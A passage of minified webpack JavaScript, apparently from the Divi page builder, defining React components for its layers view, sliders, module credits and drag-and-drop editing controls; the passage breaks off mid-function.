n&&r.a.createElement("div",{className:l()(t,u.s)},n)});c.propTypes={className:a.a.string,title:a.a.string},c.defaultProps={className:"",title:""},t.a=c},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(732),c=n(1278),d=(n(1461),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e});var p=function(e){var t=e.onChange,n=e.className,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["onChange","className"]);return r.a.createElement(u.a,d({className:l()(c.j,n),onDragX:t},o))};p.propTypes={onChange:a.a.func.isRequired,className:a.a.string},p.defaultProps={className:""},t.a=p},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(1278),c=(n(1463),function(e){var t=e.offset,n=e.width,o=e.className;return r.a.createElement("div",{className:l()(u.x,o),style:{left:t+"%",width:n+"%"}})});c.propTypes={className:a.a.string,offset:a.a.number,width:a.a.number},c.defaultProps={className:"",offset:0,width:100},t.a=c},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(60),c=n(1298),d=n(1278),p=n(1299);n(1467);function f(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var h=function(e){var t=e.value,n=e.defaultValue,o=e.onChange,i=e.width,a=e.resolver,s=e.i10n,h=function(e){return function(n){return o(e(n,t))}},m=[r.a.createElement("div",{key:0,className:d.n},r.a.createElement(c.a,{value:Object(p.a)(a.getStartValue,n,t),defaultValue:a.getStartValue(n),onChange:h(a.setStartValue),label:s.startValueTitle,step:a.getInputStep(),speed:a.getInputSpeed()})),r.a.createElement("div",{key:1,className:d.m},r.a.createElement(c.a,{value:Object(p.a)(a.getMiddleValue,n,t),defaultValue:a.getMiddleValue(n),onChange:h(a.setMiddleValue),label:s.middleValueTitle,step:a.getInputStep(),speed:a.getInputSpeed()})),r.a.createElement("div",{key:2,className:d.l},r.a.createElement(c.a,{value:Object(p.a)(a.getEndValue,n,t),defaultValue:a.getEndValue(n),onChange:h(a.setEndValue),label:s.endValueTitle,step:a.getInputStep(),speed:a.getInputSpeed()}))],g=0,v=Object(p.c)(t,i).map(function(e,t){var n,o=l()((f(n={},d.k,!0),f(n,d.o,e.length>1),n));return r.a.createElement("div",{key:t,className:o,style:{left:Object(u.b)(e)+"%"}},e.map(function(){return m[g++]}))});return r.a.createElement("div",{className:d.p},v)};h.propTypes={onChange:a.a.func.isRequired,value:a.a.string,defaultValue:a.a.string,width:a.a.number.isRequired,resolver:a.a.shape({getStartValue:a.a.func.isRequired,setStartValue:a.a.func.isRequired,getMiddleValue:a.a.func.isRequired,setMiddleValue:a.a.func.isRequired,getEndValue:a.a.func.isRequired,setEndValue:a.a.func.isRequired}).isRequired,i10n:a.a.shape({startValueTitle:a.a.string,middleValueTitle:a.a.string,endValueTitle:a.a.string})},h.defaultProps={value:"",defaultValue:"",i10n:{startValueTitle:"",middleValueTitle:"",endValueTitle:""}},t.a=h},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e,o){var r=n(1),i=n.n(r),a=n(4),s=n.n(a),l=n(8),u=n.n(l),c=n(7),d=n.n(c),p=n(2),f=n.n(p),h=n(270),m=n.n(h),g=(n(1470),n(920)),v=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var b=function(t){function n(e){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r["PureComponent"]),v(n,[{key:"_openLinkInNewTab",value:function(t){var n=t.target.href;d()(n)||(t.preventDefault(),e.topWindow().open(n,"_blank").focus())}},{key:"componentDidMount",value:function(){this.$creditsContainer=o(this.creditsContainer),this.$creditsContainer.on("click","a",this._openLinkInNewTab)}},{key:"componentWillUnmount",value:function(){this.$creditsContainer.off("click","a",this._openLinkInNewTab)}},{key:"render",value:function(){var e=this,t=this.props,n=t.moduleTitle,o=t.moduleType,r=f()(ETBuilderBackend,"customModuleCredits."+o,!1),a=f()(ETBuilderBackend,"customModuleCredits."+o+".author","");if(!r||u()(a))return!1;var s=u()(r.module_uri)?n:'<a href="'+r.module_uri+'">'+n+"</a>",l=u()(r.author_uri)?a:'<a href="'+r.author_uri+'">'+a+"</a>";return i.a.createElement("div",{className:"et-fb-settings-modal-module-credits",dangerouslySetInnerHTML:{__html:m()(s+" by "+l)},ref:function(t){return e.creditsContainer=t}})}}]),n}(),y={moduleTitle:s.a.string,moduleType:s.a.string};g.a.propTypes=y,t.a=b}).call(this,n(0),n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){e.exports={checkMarkColor:"#37C4AA",checkMarkColorHovered:"#FFFFFF"}},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(52),a=n.n(i),s=n(2),l=n.n(s),u=n(38),c=n.n(u),d=n(62),p=n(51),f=n(9),h=n(609),m=n(3),g=n(717),v=n(0),b=n(249),y=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},_=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var k=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.setHoveredState=a()(function(){n.isComponentMounted&&n.setState({hovered:!0})},50),n.unsetHoveredState=a()(function(){n.isComponentMounted&&n.setState({hovered:!1})},50),n.handleLayerMouseEnter=function(){n.unsetHoveredState.cancel(),n.isHovered()||n.setHoveredState()},n.handleLayerMouseLeave=function(){n.setHoveredState.cancel(),n.isHovered()&&n.unsetHoveredState()},n.containerRef=r.a.createRef(),n.slug="layers-view-add-button",n.state={index:null},n.isComponentMounted=!1,n.handleAddButton=n.handleAddButton.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),_(t,[{key:"componentDidMount",value:function(){this.isComponentMounted=!0}},{key:"shouldComponentUpdate",value:function(e,t){return!c()(e,this.props)||!c()(t,this.state)}},{key:"componentWillUnmount",value:function(){this.isComponentMounted=!1}},{key:"isHovered",value:function(){return this.state.hovered}},{key:"handleAddButton",value:function(e){Object(b.e)(e,this,this.handleAddButton,{isParent:!0})}},{key:"render",value:function(){if(h.a.isFilterActive())return null;var e=this.props,t=Object(v.getComponentType)(e),n="column"===t&&e.isColumnSpecialty,o=void 0;Object(v.is)("fullwidth",e)||"column"===t&&!n?o="et_pb_module":("section"===t||n)&&(o="et_pb_row"),this.module={props:Object(b.m)(this.props,{type:o})};var i=this.module.props,a=l()(ETBuilderBackend,"i18n.tooltip."+Object(v.getComponentType)(i)),s={buttonName:f.a.TAB_BUTTON_MODULE_ADD,parentModule:{props:Object(b.m)(e,m.a.getComponentAtAddress(e.address))},tooltip:a.addButton,ink:!1,block:!0,stopPropagation:!0,_onClick:this.handleAddButton},u={color:Object(b.b)(i),backgroundColor:Object(g.a)(d.a.layerBackground,this.isHovered()?1:.6)};return r.a.createElement("div",{className:"et-fb-layers-view--layer lv-add-button"},r.a.createElement("div",{className:"et-fb-layers-view--header"},r.a.createElement("div",{className:"et-fb-button-group et-fb-layers-view--toggle"}),r.a.createElement("div",{className:"et-fb-layers-view--content",onMouseEnter:this.handleLayerMouseEnter,onMouseLeave:this.handleLayerMouseLeave,style:{backgroundColor:u.backgroundColor},role:"presentation"},r.a.createElement(p.a,y({style:{color:u.color}},s),a.addButton)),r.a.createElement("div",{className:"et-fb-layers-view--add"})))}}]),t}();k.propTypes={},k.defaultProps={},t.a=k},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(25),a=n(4),s=n.n(a),l=n(22),u=n.n(l),c=n(6),d=n(62),p=n(12),f=n(51),h=n(138),m=n(19),g=n(9),v=n(162),b=n(40),y=n(609),_=n(141),k=n(3),w=n(93),C=n(719),E=n(717),O=n(402),S=n(1326),T=n(0),M=n(733),x=n(50),P=n(116),j=n(249),L=n(1486),N=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},D=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function A(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var F=void 0,I=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.requestAnimationFrameID=null,t.setHoveredState=Object(c.g)(function(){t.isComponentMounted&&(t.setState({hovered:!0}),Object(j.g)(t,!0))},50),t.unsetHoveredState=Object(c.g)(function(){t.isComponentMounted&&(t.setState({hovered:!1}),Object(j.g)(t,!1))},50),t.handleLayerMouseEnter=function(){t.unsetHoveredState.cancel(),t.isHovered()||t.setHoveredState()},t.handleLayerMouseLeave=function(){t.setHoveredState.cancel(),t.isHovered()&&t.unsetHoveredState()},t.layerRef=r.a.createRef(),t.slug="layers-view-item",t.module={props:{}},t.dragId=0,t.dragOptions={update:L.a,placeholderHeight:"4px",preSortableInit:L.b,wireframeMode:!1,layersView:!0},t.state={index:null,hovered:!1,isLabelEditable:!1,isRenderItem:!1},t.isComponentMounted=!1,t.scrollTimeout=100,t.sortableTimeout=100,t.callbackLabelEditing=t.callbackLabelEditing.bind(t),t.handleAddButton=t.handleAddButton.bind(t),t.handleLayerClick=t.handleLayerClick.bind(t),t.handleLayerDoubleClick=t.handleLayerDoubleClick.bind(t),t.handleLayerRightClick=t.handleLayerRightClick.bind(t),t.handleLayerSettingsClick=t.handleLayerSettingsClick.bind(t),t.handleLayerToggle=t.handleLayerToggle.bind(t),t.handleLayerToggleAll=t.handleLayerToggleAll.bind(t),t.isLayerExpanded=t.isLayerExpanded.bind(t),t.isHovered=t.isHovered.bind(t),t.isLayerSelected=t.isLayerSelected.bind(t),t.renderActionButtons=t.renderActionButtons.bind(t),t.renderAddButton=t.renderAddButton.bind(t),t.renderLabel=t.renderLabel.bind(t),t.renderToggle=t.renderToggle.bind(t),t.startRender=t.startRender.bind(t),t._ABTestingSet=M.a.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),D(n,[{key:"componentDidMount",value:function(){var t=this;this.isComponentMounted=!0,this.requestAnimationFrameID=T.default.topWindow().requestAnimationFrame(this.startRender);var n=this.props.isFilterActive,o=k.a.getActiveProductTourElement();if(!n){var r=e(this.layerRef.current);Object(T.is)("section",this)?Object(x.i)(o)||setTimeout(function(){Object(O.a)(r,Object(c.a)(t.dragOptions,{isSection:!0}))},this.sortableTimeout):Object(T.is)("row",this)?setTimeout(function(){Object(O.a)(r,Object(c.a)(t.dragOptions,{isRow:!0}))},this.sortableTimeout):Object(T.is)("column",this)&&(Object(x.i)(o)||setTimeout(function(){Object(O.a)(r,Object(c.a)(t.dragOptions,{isColumn:!0}))},this.sortableTimeout)),this.applyDropEffect()}}},{key:"shouldComponentUpdate",value:function(e,t){return!Object(c.x)(t,this.state)||function e(t,n){if(Object(c.o)(t,"globalParent")!==Object(c.o)(n,"globalParent"))return!0;if(Object(c.o)(t,"lockedParent")!==Object(c.o)(n,"lockedParent"))return!0;if(Object(c.o)(t,"hash")!==Object(c.o)(n,"hash"))return!0;if(Object(c.Y)(Object(c.o)(t,"children"))!==Object(c.Y)(Object(c.o)(n,"children")))return!0;for(var o=0;o<Object(c.Y)(Object(c.o)(t,"children"));o+=1)if(e(Object(c.o)(t,"children."+o+".props"),Object(c.o)(n,"children."+o+".props")))return!0;return!1}(e,this.props)}},{key:"componentDidUpdate",value:function(){var t=this,n=this.props.isFilterActive,o=e(this.layerRef.current),r=k.a.getActiveProductTourElement();if(Object(T.is)("section",this)){if(!Object(x.i)(r)){var i=_.a.shouldMultiItemMixed(this.props.address,this.props.type),a=i.isItemsMixed,s=i.newConnectWith,l=i.newChildSlug;setTimeout(function(){Object(O.a)(o,Object(c.a)(t.dragOptions,{isSection:!0,force:!0,disabled:n,isItemsMixed:a,newConnectWith:s,newChildSlug:l}))},this.sortableTimeout)}}else if(Object(T.is)("row",this)){var u=_.a.shouldMultiItemMixed(this.props.address,this.props.type),d=u.isItemsMixed,f=u.newConnectWith,h=u.newChildSlug;setTimeout(function(){Object(O.a)(o,Object(c.a)(t.dragOptions,{isRow:!0,force:!0,disabled:n,isItemsMixed:d,newConnectWith:f,newChildSlug:h}))},this.sortableTimeout)}else if(Object(T.is)("column",this)&&("moveModule"===r||!Object(x.i)(r))){var m=Object(x.i)(r)?k.a.getProductTourModule():"not_set";if("not_set"===m||Object(c.ab)(m,Object(c.kb)(this.props.address,{length:3,omission:""}))){var g=_.a.shouldMultiItemMixed(this.props.address,this.props.type,o),v=g.isItemsMixed,b=g.newConnectWith,y=g.newChildSlug;setTimeout(function(){Object(O.a)(o,Object(c.a)(t.dragOptions,{isColumn:!0,force:!0,disabled:n,isItemsMixed:v,newConnectWith:b,newChildSlug:y}))},this.sortableTimeout)}}this.applyDropEffect(),n||Object(T.is)("column",this)||k.a.isMultiItemUpdateNeeded(this.props.address)&&setTimeout(function(){return p.b.multiSelectShouldItemUpdateData(t.props.address,t)},0)}},{key:"componentWillUnmount",value:function(){T.default.topWindow().cancelAnimationFrame(this.requestAnimationFrameID),this.isComponentMounted=!1}},{key:"applyDropEffect",value:function(){if(!this.props.isFilterActive){var t=k.a.getDragDestination(),n=k.a.getDragId();if(t===this.props.address&&this.dragId<n){var o=e(this.layerRef.current),r=k.a.getAppPreference("builder_animation");o.hide().slideDown({duration:r?900:0,start:function(){o.css({opacity:0})},progress:function(e,t){o.css({opacity:t})},done:function(){o.css({opacity:"",display:"",height:""})}}),this.dragId=n,setTimeout(function(){return p.b.setDragDestination(null)},0)}}}},{key:"callbackLabelEditing",value:function(t){var n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];n!==this.state.isLabelEditable&&(this.setState({isLabelEditable:n}),e(t.target).closest(".et-fb-layers-view--label").toggleClass("et-fb-editable-label",n))}},{key:"isAllowedAction",value:function(e){var t=Object(c.o)(this,"props"),n=Object(c.o)(t,"attrs.global_module"),o=Object(c.o)(t,"globalParent",!1),r=Object(x.o)(Object(c.o)(t,"attrs.locked")),i=Object(c.o)(t,"lockedParent",!1),a=Object(c.o)(t,"type"),s=Object(T.getComponentType)(t),l=function(){return!(!k.a.isAllowedAction("add_module")||!Object(P.g)(r,i,o)||!Object(P.a)(i,o,s))},u=k.a.isEditingLibraryItem("row");switch(e){case"add_module":if(!l())return!1;break;case"edit_module":if(!k.a.isAllowedAction("edit_module")||!Object(P.f)(r,i,n,o,a))return!1;break;case"new_column":if(!Object(T.is)("column",this)||!l()||u||Object(c.o)(this,"props.isColumnSingle",!1)||Object(c.o)(this,"props.columnCount",0)>=Object(c.o)(this,"props.columnLimit",3))return!1;break;case"delete_column":if(!Object(T.is)("column",this)||!l()||u||Object(c.o)(this,"props.columnCount",0)<2)return!1;break;default:return!1}return!0}},{key:"isLayerExpanded",value:function(){var e=this.props;return e.isLayerExpanded||Object(c.o)(e,"isColumnSpecialty")||Object(j.k)(e)}},{key:"isFilterResult",value:function(){var e=this.props,t=e.isFilterActive,n=e.isFilterResult;return t&&n}},{key:"isFilterResultParent",value:function(){var e=this.props,t=e.isFilterActive,n=e.isFilterResult;return t&&!n}},{key:"isHovered",value:function(){return this.state.hovered}},{key:"isLayerSelected",value:function(){return this.props.isLayerSelected&&!this.isFilterResultParent()}},{key:"getWooModuleInactiveNotice",value:function(){var e=this.module.props;return!!C.a.isInactiveWooModule(e)&&m.d.getCurrentPage(["woocommerce","inactive_module_notice"],"")}},{key:"handleAddButton",value:function(e){Object(j.e)(e,this,this.handleAddButton,{scrollTimeout:this.scrollTimeout})}},{key:"handleLayerClick",value:function(e){if("pointer"!==k.a.getQuickActionsContext()){if(k.a.abIsMode("selecting"))return e.stopPropagation(),!Object(T.is)("removed",this.module)&&void(Object(T.is)("column",this)||this.isFilterResultParent()||Object(j.i)(this)||this._ABTestingSet(this.module));var t={props:Object(j.m)(this.module.props,{skipLayer:Object(T.is)("column",this)})};_.a.shouldItemSelected(e,this.props.address,t)?e.stopPropagation():(this.isFilterResultParent()||Object(j.i)(this)||p.b.setActiveLayer(this.module),Object(j.n)(this))}}},{key:"handleLayerDoubleClick",value:function(e){var t=this;"pointer"!==k.a.getQuickActionsContext()&&(this.isFilterResultParent()||Object(c.o)(this,"props.isColumnSingle")||k.a.abIsMode("selecting")||(e.preventDefault(),_.a.isItemSelection(e)||this.isAllowedAction("edit_module")&&!Object(T.is)("removed",this.module)&&(clearTimeout(F),F=setTimeout(function(){return p.b.openModuleSettings(t.module)},850))))}},{key:"handleLayerRightClick",value:function(t){k.a.abIsMode("selecting")||this.isFilterResultParent()||Object(c.o)(this,"props.isColumnSingle")||(Object(j.a)(this),k.a.setIsContextMenuActive(!0),k.a.setContextMenuModule(this.module),p.b.setActiveLayer(this.module),p.b.setHoveredModuleElement(this.module),e(t.target).closest(".lv-context-button").length>0&&y.a.getContextMenuCallback()(t))}},{key:"handleLayerSettingsClick",value:function(e){var t=Object(c.o)(e,"props.editingModule"),n=Object(c.o)(e,"props.additionalAttrs");k.a.isSettingsModalOpen()?(Object(j.n)(t),p.b.buttonClick(e,t,void 0,n)):Object(j.n)(t,function(){p.b.buttonClick(e,t,void 0,n)}),p.b.setActiveLayer(t)}},{key:"handleLayerToggle",value:function(e){p.b.toggleLayers(this.props.address,!this.isLayerExpanded())}},{key:"handleLayerToggleAll",value:function(e){var t=y.a.getLayerChildren(this);p.b.toggleLayers(t,this.isLayerExpanded())}},{key:"renderActionButtons",value:function(){if(this.isFilterResultParent()||Object(c.o)(this,"props.isColumnSingle"))return!1;var e=this.module.props,t=T.default.condition("is_rtl")&&!T.default.condition("is_no_rtl"),n=Object(T.is)("column",e)?Object(c.o)(ETBuilderBackend,"i18n.modals.layersView.column"):Object(c.o)(ETBuilderBackend,"i18n.tooltip."+Object(T.getComponentType)(e)+".tab"),o=!k.a.abIsMode("off"),a=o&&k.a.abIsSubject(e),s=o&&k.a.abIsGoal(e),l=k.a.isMultiItemSelected(e.address),m=k.a.isMultiSelectSingleItem(),v=!l||l&&m,y=[],_={buttonName:g.a.LAYERS_VIEW_CONTEXT_MENU_BUTTON,className:"lv-context-button et-fb-button--right-menu",needEvent:!0,icon:"overflow",iconStyles:{height:28,width:15,minWidth:15,margin:t?"0 0 0 6px":"0 6px 0 0"},viewBox:"0 0 15 28",__onClick:this.handleLayerRightClick};if(Object(j.i)(e))Object(j.l)(e)?(y.push({buttonName:g.a.TAB_BUTTON_MODULE_UNLOCK,editingModule:this.module,className:"lv-button-place-holder",needEvent:!1,icon:"lock",tagName:"div"}),Object(T.is)("removed",e)||y.push(_)):(y.push({buttonName:!1,className:"lv-button-place-holder",needEvent:!1,icon:"lock",tagName:"div"}),y.push(Object(c.a)({},_,{buttonName:!1,className:"lv-button-place-holder",icon:"blank",tagName:"div"})));else if(v){if(this.isAllowedAction("edit_module")&&!C.a.isInactiveWooModule(e)&&!Object(T.is)("removed",e)){var w=Object(T.is)("column",e)?g.a.MODULE_ITEM_EDIT:g.a.TAB_BUTTON_MODULE_EDIT;y.push({buttonName:w,editingModule:this.module,icon:"setting",tooltip:n.settings,additionalAttrs:{isColumnLayer:Object(T.is)("column",e)},_onClick:this.handleLayerSettingsClick})}!this.isAllowedAction("add_module")||C.a.isInactiveWooModule(e)||Object(T.is)("column",e)||Object(T.is)("removed",e)||s&&!a||y.push({buttonName:g.a.TAB_BUTTON_MODULE_COPY,className:"et_fb_duplicate_module_handler",editingModule:this.module,icon:"copy",tooltip:n.duplicate}),(a||s)&&y.push({buttonName:g.a.AB_VIEW_REPORT,iconUrl:ETBuilderBackend.images_uri+"/stats.svg",_onClick:p.b.abViewReport}),!this.isAllowedAction("add_module")||s||a&&!k.a.abHasAdditionalSubject()||Object(T.is)("column",e)||y.push({buttonName:g.a.TAB_BUTTON_MODULE_DELETE,editingModule:this.module,icon:"delete",tooltip:n.delete}),this.isAllowedAction("new_column")&&y.push({buttonName:g.a.MODULE_ITEM_COPY,className:"et_fb_duplicate_module_handler",editingModule:this.module,icon:"copy",tooltip:n.duplicate,additionalAttrs:{isColumnLayer:!0}}),this.isAllowedAction("delete_column")&&y.push({buttonName:g.a.MODULE_ITEM_DELETE,editingModule:this.module,icon:"delete",tooltip:n.delete,additionalAttrs:{isColumnLayer:!0}}),Object(T.is)("removed",e)||y.push(_)}else this.isAllowedAction("edit_module")&&y.push({buttonName:g.a.TAB_BUTTON_MODULE_EDIT,editingModule:this.module,icon:"setting",tooltip:n.settings}),this.isAllowedAction("add_module")&&!(s||a&&!k.a.abHasAdditionalSubject())&&y.push({buttonName:g.a.TAB_BUTTON_ITEMS_DELETE,editingModule:this.module,icon:"delete",tooltip:n.delete}),y.push(_);var E=void 0;switch(!0){case Object(j.i)(e):case this.isLayerSelected():E={color:d.a.white,opacity:1};break;case this.isHovered()&&!this.isLayerSelected():E={color:d.a.shuttleGrey,opacity:1};break;default:E={color:d.a.shuttleGrey,opacity:.6}}var O=k.a.getAppPreference("builder_animation"),S=u()({"et-fb-layers-view--actions":!0});return r.a.createElement("div",{className:"et-fb-layers-view--actions-group"},!!a&&r.a.createElement("div",{className:"et-fb-layers-view__subject-wrapper"},r.a.createElement("div",{className:"et-fb-layers-view__subject-id"},Object(c.o)(e,"attrs.ab_subject_id"))),r.a.createElement(i.Motion,{defaultStyle:{opacity:0,size:.8},style:{opacity:O?Object(i.spring)(E.opacity,{stiffness:300,damping:20}):E.opacity,size:O?Object(i.spring)(1,{stiffness:300,damping:20}):1}},function(t){return r.a.createElement(h.a,{className:S,style:{opacity:t.opacity,transform:"scale( "+t.size+" )"}},r.a.createElement(i.StaggeredMotion,{defaultStyles:Object(c.L)(y,function(){return{opacity:E.opacity}}),styles:function(e){return e.map(function(t,n){return 0===n?{opacity:O?Object(i.spring)(E.opacity,{stiffness:300,damping:20}):E.opacity}:{opacity:O?Object(i.spring)(e[n-1].opacity,{stiffness:300,damping:20}):E.opacity}})}},function(t){return r.a.createElement(h.a,null,y.map(function(n,o){var i={};Object(c.m)(["_onClick","__onClick","tagName","className","additionalAttrs"],function(e){Object(c.w)(n[e])&&!Object(c.y)(n[e])||(i[e]=n[e])});var a=Object(c.w)(n.iconStyles)?{margin:0}:n.iconStyles;return r.a.createElement(f.a,N({key:"lv-action-button-"+e.address+"-"+o,buttonName:n.buttonName,editingModule:n.editingModule,needEvent:n.needEvent,tooltip:n.tooltip,ink:Object(c.q)(n,"iconUrl"),stopPropagation:!0},i),Object(c.q)(n,"iconUrl")?r.a.createElement("object",{type:"image/svg+xml",className:"fitvidsignore",data:ETBuilderBackend.images_uri+"/stats.svg",width:"28",height:"16"}):r.a.createElement(b.a,{color:E.color,icon:n.icon,size:"14",style:Object(c.a)({opacity:Object(c.F)(t[o])?E.opacity:t[o].opacity,transform:"scale("+(Object(c.F)(t[o])?E.top:t[o].top)+")"},a),viewBox:n.viewBox}))}))}))}))}},{key:"renderAddButton",value:function(){var e=this,t=this.props.isFilterActive,n=Object(T.getComponentType)(this),o=u()({"et-fb-layers-view--add":!0});if(t||!this.isAllowedAction("add_module")||"column"===n&&!this.isAllowedAction("new_column")||k.a.abIsMode("selecting"))return r.a.createElement("div",{className:o});var a="column"===n?"row":n,s=Object(c.o)(ETBuilderBackend,"i18n.tooltip."+a),l=k.a.getAppPreference("builder_animation"),d=this.isHovered()?1:0,p=this.isHovered()?1:.5,h={buttonName:g.a.TAB_BUTTON_MODULE_ADD,editingModule:this.module,tooltip:s.addButton,ink:!1,block:!0,stopPropagation:!0,_onClick:this.handleAddButton};return"column"===n&&(h=Object(c.a)(h,{buttonName:g.a.MODULE_ITEM_ADD_COLUMN,tooltip:s.addColumnButton,additionalAttrs:{isColumnLayer:!0,columnIndex:this.props.index+1}})),r.a.createElement("div",{className:o,onMouseEnter:this.handleLayerMouseEnter,onMouseLeave:this.handleLayerMouseLeave},r.a.createElement(i.Motion,{defaultStyle:{opacity:0,size:.5},style:{opacity:l?Object(i.spring)(d,{stiffness:300,damping:20}):d,size:l?Object(i.spring)(p,{stiffness:300,damping:20}):p}},function(t){return r.a.createElement(f.a,N({},h,{style:{opacity:t.opacity,transform:"scale( "+t.size+" )"}}),r.a.createElement(b.a,{color:Object(j.b)(e),icon:"add",size:"14",style:{margin:0}}))}))}},{key:"renderToggle",value:function(){var e=this.props.isFilterActive,t=u()({"et-fb-button-group":!0,"et-fb-layers-view--toggle":!0,"et-fb-layers-view--toggle-expanded":this.isLayerExpanded()});if(Object(T.is)("module",this.props)||e)return r.a.createElement("div",{className:t});var n=T.default.condition("is_rtl")&&!T.default.condition("is_no_rtl")?"caret-left":"caret-right",o={margin:0,opacity:.5};return r.a.createElement("div",{className:t},r.a.createElement(S.a,{singleClick:this.handleLayerToggle,doubleClick:this.handleLayerToggleAll},r.a.createElement("button",{className:"et-fb-button et-fb-button--block"},r.a.createElement(b.a,{color:d.a.inactiveGrey,icon:"caret-down",size:"14",style:o}),r.a.createElement(b.a,{color:d.a.inactiveGrey,icon:n,size:"14",style:o}))))}},{key:"startRender",value:function(){this.props.isDelayRender&&this.setState({isRenderItem:!0})}},{key:"renderLabel",value:function(){var e=this.module.props,t=e.attrs,n=Object(c.o)(e,"label")?Object(c.o)(e,"label"):Object(j.d)(e),o=Object(c.o)(t,"admin_label")?Object(c.o)(t,"admin_label"):n,i=!k.a.abIsMode("off")&&k.a.abIsSubject(e),a=!1,s=this.getWooModuleInactiveNotice();if(i){var l=k.a.abGetSubjectRank(e,"percentage");a=!!Object(x.i)(l)&&" ("+k.a.abGetSubjectRank(e,"percentage")+")"}return!this.isAllowedAction("edit_module")||this.isFilterResultParent()||Object(j.i)(e)||Object(T.is)("removed",e)?r.a.createElement(S.a,{singleClick:this.handleLayerClick,doubleClick:this.handleLayerDoubleClick},r.a.createElement("div",{className:"et-fb-layers-view--label"},r.a.createElement("span",{className:"lv-placeholder"},o),!!a&&r.a.createElement("span",{className:"et-fb-layers-view--percentage"},a))):r.a.createElement(S.a,{singleClick:this.handleLayerClick,doubleClick:this.handleLayerDoubleClick},r.a.createElement("div",{className:"et-fb-layers-view--label"},r.a.createElement(w.a,{defaultText:n,text:o,tagName:"span",module:this.module,allModuleProps:e,name:"admin_label",callbackEditingStatusChange:this.callbackLabelEditing}),!!s&&r.a.createElement("span",{className:"et-fb-layers-view--inactive-notice"},s),!!a&&r.a.createElement("span",{className:"et-fb-layers-view--percentage"},a)))}},{key:"render",value:function(){var e;if(Object(c.o)(this.props.attrs,"_deleted")||!this.props.isLayerVisible)return null;if(this.props.isDelayRender&&!this.state.isRenderItem)return null;this.module={props:Object(j.m)(this.props,k.a.getComponentAtAddress(this.props.address))};var t=this.module.props,n=t.attrs;if(k.a.getAppPreference("hide_disabled_modules")&&Object(T.is)("disabled",t))return null;var o=k.a.getActiveProductTourElement(),i=!k.a.abIsMode("off"),a=i&&k.a.abIsSubject(t),s=i&&k.a.abIsGoal(t),l=k.a.isAllowedAction("move_module")&&!(Object(j.i)(t)||t.isColumnSingle),p=_.a.shouldMultiItemMixed(t.address,t.type).isItemsMixed,f=void 0;switch(!0){case 